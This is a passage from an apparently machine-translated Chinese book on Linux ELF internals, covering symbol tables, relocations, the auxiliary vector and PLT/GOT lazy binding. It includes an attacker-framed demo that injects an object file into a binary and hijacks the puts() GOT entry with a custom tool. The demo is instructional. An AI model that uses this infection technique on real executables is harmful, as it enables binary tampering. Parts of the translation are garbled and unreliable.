-有一些宏用于打包和解包 binding 和 type 字段: - -* `ELF32_ST_BIND(info)`或`ELF64_ST_BIND(info)`从`st_info`值中提取绑定 -* `ELF32_ST_TYPE(info)`或`ELF64_ST_TYPE(info)`从`st_info`值提取类型 -* `ELF32_ST_INFO(bind, type)`或`ELF64_ST_INFO(bind, type)`将绑定和类型转换为`st_info`值 - -让我们看看以下源代码的符号表: - -```sh -static inline void foochu() -{ /* Do nothing */ } - -void func1() -{ /* Do nothing */ } - -_start() -{ - func1(); - foochu(); -} -``` - -下面是查看函数`foochu`和`func1`符号表项的命令: - -```sh -ryan@alchemy:~$ readelf -s test | egrep 'foochu|func1' - 7: 080480d8 5 FUNC LOCAL DEFAULT 2 foochu - 8: 080480dd 5 FUNC GLOBAL DEFAULT 2 func1 -``` - -我们可以看到,`foochu`函数是一个值`0x80480da`,并且是一个具有局部符号绑定(`STB_LOCAL`)的函数(`STT_FUNC`)。 如果你还记得,我们谈论了一些关于`LOCAL`绑定,这意味着对象文件外的符号不能看到它定义它,这就是为什么`foochu`是本地的,因为我们宣布它与【T6 static 关键字】【显示】在我们的源代码。 - -符号让每个人的生活更轻松; 它们是 ELF 对象的一部分,用于链接、重定位、可读的反汇编和调试。 这就引出了我在 2013 年编写的一个名为`ftrace`的有用工具的主题。 与`ltrace`和`strace`类似,`ftrace`将跟踪二进制文件中所有的函数调用,并且还可以显示跳转等其他分支指令。 我最初设计`ftrace`是为了帮助反转我在工作时没有源代码的二进制文件。 `ftrace`被认为是一种动态分析工具。 让我们来看看它的一些功能。 我们用下面的源代码编译一个二进制文件: - -```sh -#include - -int func1(int a, int b, int c) -{ - printf("%d %d %d\n", a, b ,c); -} - -int main(void) -{ - func1(1, 2, 3); -} -``` - -现在,假设我们没有前面的源代码,并且我们想知道它所编译的二进制文件的内部工作原理,我们可以在它上运行`ftrace`。 首先让我们看一下大纲: - -```sh -ftrace [-p ] [-Sstve] -``` - -用法如下: - -* `[-p]`:根据 PID 进行跟踪 -* `[-t]`:用于函数参数的类型检测 -* `[-s]`:打印字符串值 -* `[-v]`:这将提供详细的输出 -* `[-e]`:这提供了各种 ELF 信息(符号、依赖) -* `[-S]`:这显示了去掉符号的函数调用 -* `[-C]`:这就完成了控制流分析 - -让我们试试: - -```sh -ryan@alchemy:~$ ftrace -s test -[+] Function tracing begins here: -PLT_call@0x400420:__libc_start_main() -LOCAL_call@0x4003e0:_init() -(RETURN VALUE) LOCAL_call@0x4003e0: _init() = 0 -LOCAL_call@0x40052c:func1(0x1,0x2,0x3) // notice values passed -PLT_call@0x400410:printf("%d %d %d\n") // notice we see string value -1 2 3 -(RETURN VALUE) PLT_call@0x400410: printf("%d %d %d\n") = 6 -(RETURN VALUE) LOCAL_call@0x40052c: func1(0x1,0x2,0x3) = 6 -LOCAL_call@0x400470:deregister_tm_clones() -(RETURN VALUE) LOCAL_call@0x400470: deregister_tm_clones() = 7 -``` - -一个聪明的人现在可能会问:如果一个二进制的符号表被剥离,会发生什么? 这是正确的; 你可以去掉二进制的符号表; 然而,动态链接的可执行文件将始终保留`.dynsym`,但如果删除了`.symtab`,则将丢弃`.symtab`,因此只显示导入的库符号。 - -如果编译静态二进制`libc`(`gcc-static`)或没有连接(`gcc-nostdlib`),然后它是剥夺了`strip`命令,一个二进制将没有符号表,因为动态符号表不再是必要的。 `ftrace`与`–S`标志的行为不同,该标志告诉`ftrace`即使没有附加符号,也要显示每个函数调用。 当使用`–S`标志时,`ftrace`将把函数名显示为`SUB_`,类似于 IDA pro 显示没有符号表引用的函数。 - -让我们看看以下非常简单的源代码: - -```sh -int foo(void) { -} - -_start() -{ - foo(); - __asm__("leave"); -} -``` - -前面的源代码只是调用`foo()`函数并退出。 我们使用`_start()`而不是`main()`的原因是我们用以下代码编译它: - -```sh -gcc -nostdlib test2.c -o test2 -``` - -`gcc`标志`-nostdlib`指示链接器忽略标准`libc`链接约定,而仅仅编译我们拥有的代码,仅此而已。 默认的入口点是一个名为`_start()`的符号: - -```sh -ryan@alchemy:~$ ftrace ./test2 -[+] Function tracing begins here: -LOCAL_call@0x400144:foo() -(RETURN VALUE) LOCAL_call@0x400144: foo() = 0 -Now let's strip the symbol table and run ftrace on it again: -ryan@alchemy:~$ strip test2 -ryan@alchemy:~$ ftrace -S test2 -[+] Function tracing begins here: -LOCAL_call@0x400144:sub_400144() -(RETURN VALUE) LOCAL_call@0x400144: sub_400144() = 0 -``` - -现在我们注意到,`foo()`函数已经被`sub_400144()`替换,这表明函数调用发生在地址`0x400144`。 现在,如果我们在去除符号之前查看二进制`test2`,我们可以看到`0x400144`确实是`foo()`所在的位置: - -```sh -ryan@alchemy:~$ objdump -d test2 -test2: file format elf64-x86-64 -Disassembly of section .text: -0000000000400144: - 400144: 55 push %rbp - 400145: 48 89 e5 mov %rsp,%rbp - 400148: 5d pop %rbp - 400149: c3 retq - -000000000040014a <_start>: - 40014a: 55 push %rbp - 40014b: 48 89 e5 mov %rsp,%rbp - 40014e: e8 f1 ff ff ff callq 400144 - 400153: c9 leaveq - 400154: 5d pop %rbp - 400155: c3 retq -``` - -事实上,为了让您真正了解符号对逆向工程师的帮助有多大(当我们有符号时),让我们看一下`test2`二进制文件,这次没有符号来演示它是如何变得不那么容易阅读的。 这主要是因为分支指令不再有附加的符号名,因此分析控制流变得更加乏味,需要更多的注释,而一些反汇编器,如 IDA-pro,允许我们这样做: - -```sh -$ objdump -d test2 -test2: file format elf64-x86-64 -Disassembly of section .text: -0000000000400144 <.text>: - 400144: 55 push %rbp - 400145: 48 89 e5 mov %rsp,%rbp - 400148: 5d pop %rbp - 400149: c3 retq - 40014a: 55 push %rbp - 40014b: 48 89 e5 mov %rsp,%rbp - 40014e: e8 f1 ff ff ff callq 0x400144 - 400153: c9 leaveq - 400154: 5d pop %rbp - 400155: c3 retq -``` - -唯一给我们一个想法,一个新的函数开始是通过检查**过程开场白**,每个函数的开头,除非(`gcc -fomit-frame-pointer`)已经被使用,在这种情况下,变得不太明显的识别。 - -本书假设读者已经有一些汇编语言的知识,因为教授 x86 asm 不是本书的目标,但请注意前面大胆的过程序言,它帮助表示每个函数的开始。 procedure prologue 只是通过备份堆栈上的基指针并在调整堆栈指针以为局部变量腾出空间之前将其值设置为堆栈指针来为每个已调用的新函数设置堆栈框架。 这样,变量就可以作为从存储在基指针寄存器`ebp/rbp`中的固定地址的正偏移量来引用。 - -既然我们已经掌握了符号,下一步就是理解重定位。 在下一节中,我们将看到符号、重定位和节如何紧密地联系在一起,并在 ELF 格式中处于同一抽象级别。 - -# ELF 重置 - -从 ELF(5) man 页面: - -> 重定位是将符号引用与符号定义连接起来的过程。 可重定位文件必须包含描述如何修改其部分内容的信息,从而允许可执行文件和共享对象文件保存进程的程序映像的正确信息。 重定位表项就是这些数据。 - -重定位的过程依赖于符号和节,所以我们先讲了符号和节。 在重定位中,有*重定位记录*,其本质上包含关于如何给与给定符号相关的代码打补丁的信息。 重定位实际上是一种用于二进制补丁的机制,当涉及到动态连接器时,甚至是内存中的热补丁。 用于创建可执行文件的链接程序:`/bin/ld`,并且共享库必须具有某种类型的元数据来描述如何给某些指令打补丁。 这种元数据存储为我们所称的重定位记录。 我将通过一个例子进一步解释重定位。 - -假设将两个目标文件链接在一起以创建一个可执行文件。 我们有`obj1.o`,它包含调用位于`obj2.o`中的名为`foo()`的函数的代码。 其中 obj1。 o 和`obj2.o`由链接器程序分析,并包含重定位记录,以便它们可以被链接以创建一个完全工作的可执行程序。 符号引用将被解析为符号定义,但这到底意味着什么呢? 目标文件是可重定位的代码,这意味着它是可以被重新定位到可执行段中给定地址的一个位置的代码。 在重定位过程发生之前,代码中的符号和代码在不知道它们在内存中的位置之前不能正常工作或不能被正确引用。 在链接器知道指令或符号在可执行段中的位置之后,必须对这些补丁进行修补。 - -让我们快速看一下 64 位重定位条目: - -```sh -typedef struct { - Elf64_Addr r_offset; - Uint64_t r_info; -} Elf64_Rel; -``` - -一些重定位表项需要加数: - -```sh -typedef struct { - Elf64_Addr r_offset; - uint64_t r_info; - int64_t r_addend; -} Elf64_Rela; -``` - -`r_offset`为需要搬迁行动的位置。 重定位操作描述如何给`r_offset`中包含的代码或数据打补丁的详细信息。 - -`r_info`给出了必须对其进行重定位的符号表索引,以及要应用的重定位类型。 - -`r_addend`指定一个常量加数,用于计算存储在可重定位字段中的值。 - -32 位 ELF 文件的重定位记录与 64 位文件相同,但使用 32 位整数。 下面的示例是目标文件代码将被编译为 32 位,以便我们可以演示**隐式的加数**,这在 64 位中并不常用。 当重定位记录存储在 ElfN_Rel 类型结构中且不包含`r_addend`字段时,就会出现一个隐式加数,因此加数存储在重定位目标本身中。 64 位可执行文件倾向于使用包含**显式加**的`ElfN_Rela`结构体。 我认为这两种情况都值得理解,但隐含的增加有点令人困惑,所以有必要为这个领域带来光明。 - -让我们来看看源代码: - -```sh -_start() -{ - foo(); -} -``` - -我们看到它调用了`foo()`函数。 然而,`foo()`函数并不直接位于该源代码文件中; 因此,在编译时,将创建一个重定位条目,这是以后满足符号引用所必需的: - -```sh -$ objdump -d obj1.o -obj1.o: file format elf32-i386 -Disassembly of section .text: -00000000 : - 0: 55 push %ebp - 1: 89 e5 mov %esp,%ebp - 3: 83 ec 08 sub $0x8,%esp - 6: e8 fc ff ff ff call 7 - b: c9 leave - c: c3 ret -``` - -如我们所见,对`foo()`的调用被高亮显示,它包含值`0xfffffffc`,即*的隐式加数*。 还有注意`call 7`。 编号`7`为需要打补丁的重定位目标偏移量。 所以当`obj1.o`(调用`foo()`位于`obj2.o`)与`obj2.o`可执行,搬迁条目指向抵消【显示】是由链接器处理,告诉它的位置(偏移量 7)需要修改。 然后链接器在偏移量为 7 的 4 个字节上打补丁,以便在`foo()`被定位到可执行文件中的某个位置之后,它将包含到`foo()`函数的真实偏移量。 - -### 注意事项 - -调用指令`e8 fc ff ff ff`包含了隐式加数,在这节课中记住它很重要; 值`0xfffffffc`为`-(4)`或`-(sizeof(uint32_t))`。 一个双字在 32 位系统上是 4 个字节,这就是重定位目标的大小。 - -```sh -$ readelf -r obj1.o - -Relocation section '.rel.text' at offset 0x394 contains 1 entries: - Offset Info Type Sym.Value Sym. Name -00000007 00000902 R_386_PC32 00000000 foo -``` - -正如我们所看到的,偏移量为 7 的重定位字段由重定位表项的`r_offset`字段指定。 - -* `R_386_PC32`为搬迁类型。 要理解所有这些类型,请阅读 ELF 规范。 每种重定位类型都需要对被修改的重定位目标进行不同的计算。 `R_386_PC32`用`S + A – P`修改目标。 -* `S`是其索引位于重定位表项中的符号的值。 -* `A`为重新定位项中的加数。 -* `P`是存储单元被重新定位的位置(section offset 或 address)(使用`r_offset`计算)。 - -让我们看看在 32 位系统上编译`obj1.o`和`obj2.o`后,可执行文件的最终输出: - -```sh -$ gcc -nostdlib obj1.o obj2.o -o relocated -$ objdump -d relocated - -test: file format elf32-i386 - -Disassembly of section .text: - -080480d8 : - 80480d8: 55 push %ebp - 80480d9: 89 e5 mov %esp,%ebp - 80480db: 83 ec 08 sub $0x8,%esp - 80480de: e8 05 00 00 00 call 80480e8 - 80480e3: c9 leave - 80480e4: c3 ret - 80480e5: 90 nop - 80480e6: 90 nop - 80480e7: 90 nop - -080480e8 : - 80480e8: 55 push %ebp - 80480e9: 89 e5 mov %esp,%ebp - 80480eb: 5d pop %ebp - 80480ec: c3 ret -``` - -我们可以看到位于 0x80480de 的调用指令**(重定位目标)已经被修改为 32 位偏移值`5`,它指向`foo()`。 值`5`是`R386_PC_32`搬迁行动的结果:** - -```sh -S + A – P: 0x80480e8 + 0xfffffffc – 0x80480df = 5 -``` - -如果是有符号整数,则`0xfffffffc`与`–4`相同,因此计算也可以看成: - -```sh -0x80480e8 + (0x80480df + sizeof(uint32_t)) -``` - -要计算进入虚拟地址的偏移量,使用以下计算方法: - -```sh -address_of_call + offset + 5 (Where 5 is the length of the call instruction) -``` - -在本例中是`0x80480de + 5 + 5 = 0x80480e8`。 - -### 注意事项 - -请注意这个计算,因为记住它很重要,并且可以在经常计算地址的偏移量时使用。 - -一个地址也可以用以下计算方法计算到一个偏移量中: - -```sh -address – address_of_call – 4 (Where 4 is the length of the immediate operand to the call instruction, which is 32bits). -``` - -如前所述,ELF 规范深入地介绍了 ELF 重定位,我们将在下一节中访问动态链接中使用的一些类型,例如`R386_JMP_SLOT`重定位条目。 - -## 基于可重定位代码注入的二进制补丁 - -可重定位代码注入是一种技术,黑客、病毒编者或任何想修改二进制代码的人都可以利用它来重新链接已经编译并链接到可执行文件中的二进制代码。 也就是说,你可以将一个目标文件注入到一个可执行文件中,更新可执行文件的符号表以反映新插入的功能,并对注入的目标代码执行必要的重定位,以便它成为可执行文件的一部分。 - -复杂的病毒可能会使用这种技术,而不仅仅是附加位置无关的代码。 这种技术需要在目标可执行文件中留出空间来注入代码,然后应用重定位。 我们将在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术—Linux/Unix 病毒*中更全面地讨论二进制感染和代码注入。 - -所[第一章](1.html#E9OE2-1d4163ae11644cc2802846625b2dc985 "Chapter 1. The Linux Environment and Its Tools"),*Linux 环境和工具,有一个神奇的工具叫*Eresi*【显示】(http://www.eresi-project.org),这是可以浮动的代码注入(又名`ET_REL`注入)。 我还为 ELF 设计了一个定制的逆向工程工具,即**昆雅**。 它非常古老,但可以在[http://www.bitlackeys.org/projects/quenya_32bit.tgz](http://www.bitlackeys.org/projects/quenya_32bit.tgz)找到。 Quenya 有许多特性和功能,其中之一就是将目标代码注入到可执行文件中。 这对于通过劫持给定函数来修补二进制文件非常有用。 昆雅只是一个原型,从未开发到*Eresi*项目的程度。 我只是把它作为一个例子,因为我更熟悉它; 然而,我要说的是,为了获得更可靠的结果,可能需要使用*Eresi*或编写自己的工具。* - - *让我们假设我们是一个攻击者,并且我们想要感染一个 32 位程序,该程序调用`puts()`来打印`Hello World`。 我们的目标是劫持`puts()`,使其调用`evil_puts()`: - -```sh -#include -int _write (int fd, void *buf, int count) -{ - long ret; - - __asm__ __volatile__ ("pushl %%ebx\n\t" -"movl %%esi,%%ebx\n\t" -"int $0x80\n\t""popl %%ebx":"=a" (ret) - :"0" (SYS_write), "S" ((long) fd), -"c" ((long) buf), "d" ((long) count)); - if (ret >= 0) { - return (int) ret; - } - return -1; -} -int evil_puts(void) -{ - _write(1, "HAHA puts() has been hijacked!\n", 31); -} -``` - -现在我们将`evil_puts.c`编译为`evil_puts.o`,并将其注入我们的程序`./hello_world`: - -```sh -$ ./hello_world -Hello World -``` - -这个程序调用以下函数: - -```sh -puts("Hello World\n"); -``` - -我们现在使用`Quenya`将`evil_puts.o`文件注入`hello_world`: - -```sh -[Quenya v0.1@alchemy] reloc evil_puts.o hello_world -0x08048624 addr: 0x8048612 -0x080485c4 _write addr: 0x804861e -0x080485c4 addr: 0x804868f -0x080485c4 addr: 0x80486b7 -Injection/Relocation succeeded -``` - -如我们所见,我们的`evil_puts.o`目标文件中的`write()`函数已经被重新定位,并在可执行文件`hello_world`中为`0x804861e`分配了一个地址。 下一个命令 hijack 用`evil_puts()`的地址覆盖`puts()`的全局偏移表项: - -```sh -[Quenya v0.1@alchemy] hijack binary hello_world evil_puts puts -Attempting to hijack function: puts -Modifying GOT entry for puts -Successfully hijacked function: puts -Committing changes into executable file -[Quenya v0.1@alchemy] quit -``` - -And Whammi! - -```sh -ryan@alchemy:~/quenya$ ./hello_world -HAHA puts() has been hijacked! -``` - -我们已经成功地将一个目标文件重新定位到一个可执行文件中,并修改了可执行文件的控制流,以便它执行我们注入的代码。 如果我们对`hello_world`使用`readelf -s`,我们现在实际上可以看到`evil_puts()`的符号。 - -为了您的兴趣,我已经包含了一小段代码,其中包含了在 quanya 中的 ELF 重新定位机制; 在没有看到其余的代码基础的情况下,它可能有点模糊,但如果你保留了我们学到的关于重定位的内容,它也有点直截了当: - -```sh -switch(obj.shdr[i].sh_type) -{ -case SHT_REL: /* Section contains ElfN_Rel records */ -rel = (Elf32_Rel *)(obj.mem + obj.shdr[i].sh_offset); -for (j = 0; j < obj.shdr[i].sh_size / sizeof(Elf32_Rel); j++, rel++) -{ -/* symbol table */ -symtab = (Elf32_Sym *)obj.section[obj.shdr[i].sh_link]; - -/* symbol we are applying relocation to */ -symbol = &symtab[ELF32_R_SYM(rel->r_info)]; - -/* section to modify */ -TargetSection = &obj.shdr[obj.shdr[i].sh_info]; -TargetIndex = obj.shdr[i].sh_info; - -/* target location */ -TargetAddr = TargetSection->sh_addr + rel->r_offset; - -/* pointer to relocation target */ -RelocPtr = (Elf32_Addr *)(obj.section[TargetIndex] + rel->r_offset); - -/* relocation value */ -RelVal = symbol->st_value; -RelVal += obj.shdr[symbol->st_shndx].sh_addr; - -printf("0x%08x %s addr: 0x%x\n",RelVal, &SymStringTable[symbol->st_name], TargetAddr); - -switch (ELF32_R_TYPE(rel->r_info)) -{ -/* R_386_PC32 2 word32 S + A - P */ -case R_386_PC32: -*RelocPtr += RelVal; -*RelocPtr -= TargetAddr; -break; - -/* R_386_32 1 word32 S + A */ -case R_386_32: -*RelocPtr += RelVal; - break; - } -} -``` - -如上代码所示,`RelocPtr`指向的重定位目标根据重定位类型(如`R_386_32`)所请求的重定位动作进行修改。 - -虽然可重定位代码二进制注入是重定位背后思想的一个很好的例子,但它并不是一个链接器如何在多个目标文件中执行重定位的完美例子。 然而,它仍然保留了搬迁诉讼的一般思想和适用。 稍后我们将讨论共享库(`ET_DYN`)注入,这将我们带到动态链接的主题。 - -# ELF 动态链接 - -在过去,一切都是静态链接的。 如果程序使用外部库函数,则整个库将直接编译到可执行文件中。 ELF 支持动态链接,这是处理共享库的一种更有效的方法。 - -当程序被加载到内存中时,动态链接器也会加载并绑定该进程地址空间所需要的共享库。 动态链接的主题很少被深入了解,因为它是一个相对复杂的过程,似乎在幕后像魔术一样工作。 在本节中,我们将揭开它的一些复杂性,并揭示它是如何工作的,以及它是如何被攻击者滥用的。 - -共享库被编译为与位置无关的,因此可以很容易地重新定位到进程地址空间中。 共享库是动态 ELF 对象。 如果查看`readelf -h lib.so`,您将看到`e_type`(**ELF 文件类型**)被称为`ET_DYN`。 动态对象与可执行文件非常相似。 它们通常没有`PT_INTERP`段,因为它们是由程序解释器加载的,因此不会调用程序解释器。 - -当一个共享库被加载到进程地址空间时,它必须有任何满足引用其他共享库的重定位。 动态连接器必须修改可执行文件(位于`.got.plt`节)的 GOT(全局偏移表),它是位于数据段中的地址表。 它在数据段中是因为它必须是可写的(至少在初始阶段; 请参阅作为安全特性的只读重定位)。 动态链接器用解析过的共享库地址给 GOT 打补丁。 稍后我们将解释**延迟链接**的过程。 - -## 辅助载体 - -当一个程序被`sys_execve()`系统调用加载到内存中时,可执行文件被映射到一个堆栈中(在其他事情中)。 该进程地址空间的堆栈以一种非常特定的方式设置,以便将信息传递给动态连接器。 这种特殊的信息设置和排列被称为**辅助载体**或**auxv**。 堆栈的底部(这是它的最高内存地址,因为堆栈在 x86 架构下增长)被加载如下信息: - -![The auxiliary vector](img/00003.jpeg) - -*[argc][argv][envp][辅助的][。 argv/envp 的 ascii 数据* - -辅助向量(或 auxv)是一系列 ElfN_auxv_t 结构体。 - -```sh -typedef struct -{ - uint64_t a_type; /* Entry type */ - union - { - uint64_t a_val; /* Integer value */ - } a_un; -} Elf64_auxv_t; -``` - -`a_type`描述了 auxv 条目类型,a_val 提供了它的值。 以下是动态链接器需要的一些最重要的条目类型: - -```sh -#define AT_EXECFD 2 /* File descriptor of program */ -#define AT_PHDR 3 /* Program headers for program */ -#define AT_PHENT 4 /* Size of program header entry */ -#define AT_PHNUM 5 /* Number of program headers */ -#define AT_PAGESZ 6 /* System page size */ -#define AT_ENTRY 9 /* Entry point of program */ -#define AT_UID 11 /* Real uid */ -``` - -动态连接器从堆栈中检索有关正在执行的程序的信息。 链接器必须知道程序头在哪里,程序的入口点,等等。 我之前只列出了几个 auxv 条目类型,取自`/usr/include/elf.h`。 - -辅助向量由驻留在 Linux 源代码`/usr/src/linux/fs/binfmt_elf.c`中的名为`create_elf_tables()`的内核函数设置。 - -实际上,内核的执行进程看起来如下所示: - -1. `sys_execve()`→。 -2. 调用`do_execve_common()`→。 -3. 调用`search_binary_handler()`→。 -4. 调用`load_elf_binary()`→。 -5. 调用`create_elf_tables()`→。 - -下面是`/usr/src/linux/fs/binfmt_elf.c`中`create_elf_tables()`中添加 auxv 条目的一些代码: - -```sh -NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE); -NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff); -NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr)); -NEW_AUX_ENT(AT_PHNUM, exec->e_phnum); -NEW_AUX_ENT(AT_BASE, interp_load_addr); -NEW_AUX_ENT(AT_ENTRY, exec->e_entry); -``` - -如您所见,ELF 入口点和程序头的地址,以及其他值,都与内核中的`NEW_AUX_ENT()`宏一起放在堆栈上。 - -一旦一个程序被装入内存并且辅助向量已经被填充,控制就被传递给动态连接器。 动态链接器解析链接到进程地址空间的共享库的符号和重定位。 默认情况下,一个可执行文件与 GNU C 库`libc.so`动态链接。 `ldd`命令将显示给定可执行文件的共享库依赖项。 - -## 学习 PLT/GOT - -PLT(过程链接表)和 GOT(全局偏移表)可以在可执行文件和共享的库中找到。 我们将特别关注可执行程序的 PLT/GOT。 当程序调用共享库函数(如`strcpy()`或`printf()`,这些函数直到运行时才解析)时,必须存在动态链接共享库并将地址解析到共享函数的机制。 当动态链接的程序被编译时,它以一种特定的方式处理共享库函数调用,这与简单的`call`指令到本地函数的方式大不相同。 - -让我们看一下给 libc 的电话。 so 函数`fgets()`在 32 位编译的 ELF 可执行文件中。 我们将在我们的示例中使用 32 位可执行文件,因为与 GOT 的关系更容易可视化,因为没有使用 IP 相对寻址,而 64 位可执行文件中是这样的: - -```sh -objdump -d test - ... - 8048481: e8 da fe ff ff call 8048360 - ... -``` - -地址`0x8048360`对应于`fgets()`的 PLT 项。 让我们看看这个地址在我们的可执行文件: - -```sh -objdump -d test (grep for 8048360) -... -08048360: /* A jmp into the GOT */ - 8048360: ff 25 00 a0 04 08 jmp *0x804a000 - 8048366: 68 00 00 00 00 push $0x0 - 804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x34> -... -``` - -因此,对`fgets()`的调用导致 8048360,这是`fgets()`的 PLT 跳转表条目。 正如我们所看到的,有一个间接跳转到前面反汇编代码输出中存储在`0x804a000`的地址。 这个地址是一个 GOT(全局偏移表)条目,它保存着 libc 共享库中实际的`fgets()`函数的地址。 - -然而,第一次调用函数时,动态链接器还没有解析它的地址,这时使用了默认的行为延迟链接。 延迟链接意味着动态链接器不应该在程序加载时解析每个函数。 相反,它将在调用函数时解析它们,这是通过`.plt`和`.got.plt`节实现的(分别对应 Procedure 链接表和 Global 偏移量表)。 可以将此行为更改为与`LD_BIND_NOW`环境变量的严格链接,以便所有动态链接都在程序加载时发生。 延迟链接在加载时提高了性能,这就是为什么它是默认行为的原因,但它也可能是不可预测的,因为链接错误可能直到程序运行一段时间后才发生。 多年来,我自己只经历过一次。 还值得注意的是,一些安全特性,即只读重定位不能应用,除非启用了严格链接,因为`.plt.got`节(以及其他部分)被标记为只读; 这只能发生在动态链接器完成补丁后,因此必须使用严格链接。 - -让我们来看看`fgets()`的搬迁条目: - -```sh -$ readelf -r test -Offset Info Type SymValue SymName -... -0804a000 00000107 R_386_JUMP_SLOT 00000000 fgets -... -``` - -### 注意事项 - -`R_386_JUMP_SLOT`是 PLT/GOT 表项的重定位类型。 在`x86_64`上,称为`R_X86_64_JUMP_SLOT`。 - -请注意,重定位偏移量是地址 0x804a000,与`fgets()`PLT 跳转到的地址相同。 假设`fgets()`是第一次被调用,动态连接器必须解析`fgets()`的地址,并将其值放入`fgets()`的 GOT 条目中。 - -让我们来看看我们的测试程序中的 GOT: - -```sh -08049ff4 <_GLOBAL_OFFSET_TABLE_>: - 8049ff4: 28 9f 04 08 00 00 sub %bl,0x804(%edi) - 8049ffa: 00 00 add %al,(%eax) - 8049ffc: 00 00 add %al,(%eax) - 8049ffe: 00 00 add %al,(%eax) - 804a000: 66 83 04 08 76 addw $0x76,(%eax,%ecx,1) - 804a005: 83 04 08 86 addl $0xffffff86,(%eax,%ecx,1) - 804a009: 83 04 08 96 addl $0xffffff96,(%eax,%ecx,1) - 804a00d: 83 .byte 0x83 - 804a00e: 04 08 add $0x8,%al -``` - -地址`0x08048366`是前面强调的,在 GOT 的`0x804a000`中找到。 记住,小尾数反转了字节顺序,所以它显示为`66 83 04 08`。 这个地址不是`fgets()`函数的地址,因为它还没有被链接器解析,而是指向`fgets()`的 PLT 条目。 让我们再来看看`fgets()`的 PLT 条目: - -```sh -08048360 : - 8048360: ff 25 00 a0 04 08 jmp *0x804a000 - 8048366: 68 00 00 00 00 push $0x0 - 804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x34> -``` - -因此,`jmp *0x804a000`跳转到`0x8048366`中包含的地址,即`push $0x0`指令。 该推入指令有一个目的,就是将`fgets()`的 GOT 条目推入堆栈。 `fgets()`的 GOT 条目偏移量是 0x0,它对应于为共享库符号值保留的第一个 GOT 条目,它实际上是第四个 GOT 条目,GOT[3]。 换句话说,共享库地址并不从 GOT[0]开始插入,而是从 GOT[3](第四个条目)开始插入,因为前三个是为其他目的保留的。 - -### 注意事项 - -请注意以下 GOT 补偿: - -* GOT[0]包含一个指向可执行文件的动态段的地址,该地址由动态链接器用于提取与动态链接相关的信息 -* GOT[1]包含动态链接器用来解析符号的`link_map`结构的地址 -* GOT[2]包含动态链接器`_dl_runtime_resolve()`函数的地址,该函数解析共享库函数的实际符号地址 - -在`fgets()`PLT 存根中的最后一条指令是 jmp 8048350。 这个地址指向每个可执行文件中的第一个 PLT 条目,称为 PLT-0。 - -**PLT-0**from 我们的可执行文件包含以下代码: - -```sh - 8048350: ff 35 f8 9f 04 08 pushl 0x8049ff8 - 8048356: ff 25 fc 9f 04 08 jmp *0x8049ffc - 804835c: 00 00 add %al,(%eax) -``` - -第一条`pushl`指令将第二个 GOT 条目(GOT[1])的地址推入堆栈,如前所述,栈中包含`link_map`结构的地址。 - -`jmp *0x8049ffc`对第三个 GOT 表项(GOT[2])执行一个间接的 jmp,该表项包含给动态连接器`_dl_runtime_resolve()`函数的地址,因此将控制权转移给动态连接器并解析`fgets()`的地址。 一旦`fgets()`被解决,所有对 PLT 条目`forfgets()`的未来调用都将导致跳转到`fgets()`代码本身,而不是指向 PLT 并再次经历惰性链接过程。 - -以下是上文所述内容的摘要: - -1. 调用`fgets@PLT`(调用`fgets`函数)。 -2. PLT 代码对 GOT 中的地址执行一个间接的`jmp`操作。 -3. GOT 条目包含指向`push`指令的 PLT 的地址。 -4. `push $0x0`指令将`fgets()`GOT 条目的偏移量推入堆栈。 -5. 最后一条`fgets()`PLT 指令是一个到 PLT-0 代码的 jmp。 -6. PLT-0 的第一条指令将 GOT[1]的地址推入栈中,栈中包含了`fgets()`的`link_map`结构体的偏移量。 -7. PLT-0 第二指令是一个无条件转移指令的地址有[2]指向动态链接器的`_dl_runtime_resolve()`,然后处理`R_386_JUMP_SLOT`搬迁通过添加符号价值(内存地址)`fgets()`其相应的进入了`.got.plt`部分。 - -下次调用`fgets()`时,PLT 条目将直接跳转到函数本身,而不必再次执行重定位过程。 - -## 动态段重新访问 - -我在前面引用了动态段作为一个名为`.dynamic`的节。 动态段有一个引用它的 section 头,但它也有一个引用它的程序头,因为它必须在运行时被动态链接器找到; 因为 section 头文件不会被加载到内存中,所以它必须有一个相关联的程序头文件。 - -动态段包含一个类型为`ElfN_Dyn`的结构体数组: - -```sh -typedef struct { - Elf32_Sword d_tag; - union { - Elf32_Word d_val; - Elf32_Addr d_ptr; - } d_un; -} Elf32_Dyn; -``` - -`d_tag`字段包含一个标记,该标记与可以在 ELF(5)手册页中找到的众多定义之一相匹配。 我已经列出了一些最重要的动态链接器使用。 - -### dt_needed - -它保存到所需共享库的名称的字符串表偏移量。 - -### DT_SYMTAB - -它包含了动态符号表的地址,也就是它的 section 名`.dynsym`。 - -### dt_hash - -它保存着符号哈希表的地址,也可以通过它的 section 名`.hash`(或有时命名为`.gnu.hash`)来知道。 - -### DT_STRTAB - -它保存着符号字符串表的地址,也被它的 section 名`.dynstr`所知。 - -### dt_pltgot - -它保存了全局偏移表的地址。 - -### 注意事项 - -前面的动态标记演示了如何通过动态段找到某些部分的位置,该动态段可以帮助重新构建 section 头表的法医重建任务。 如果 section 头表已经被剥离,一个聪明的个体可以通过从动态段(也就是.dynstr、.dynsym 和.hash 等)获取信息来重新构建部分 section 头表。 - -其他段(如文本和数据)也可以生成您需要的信息(例如`.text`和`.data`节)。 - -`ElfN_Dyn`中的`d_val`成员持有一个整数值,该整数值具有多种解释,例如作为一个重定位表项的大小来给出一个实例。 - -`d_ptr`成员保存一个虚拟内存地址,它可以指向连接器需要的各种位置; 一个很好的例子是`d_tag``DT_SYMTAB`符号表的地址。 - -动态链接器利用`ElfN_Dyn``d_tags`定位的不同部分动态段包含可执行的一部分通过引用`d_tag``DT_SYMTAB`、`d_ptr`的虚拟地址的符号表。 - -当动态连接器被映射到内存中,它首先处理任何自己的重定位,如果必要的话; 请记住,链接器本身就是一个共享库。 然后,它查看可执行程序的动态段,并搜索包含指向必要的共享库的字符串或路径名的指针的`DT_NEEDED`标记。 当它将一个需要的共享库映射到内存中时,它访问库的动态段(是的,它们也有动态段),并将库的符号表添加到一个符号表链中,这个符号表链保存着每个映射库的符号表。 - -链接器为每个共享库创建一个结构体`link_map`条目,并将其存储在一个链表中: - -```sh -struct link_map - { - ElfW(Addr) l_addr; /* Base address shared object is loaded 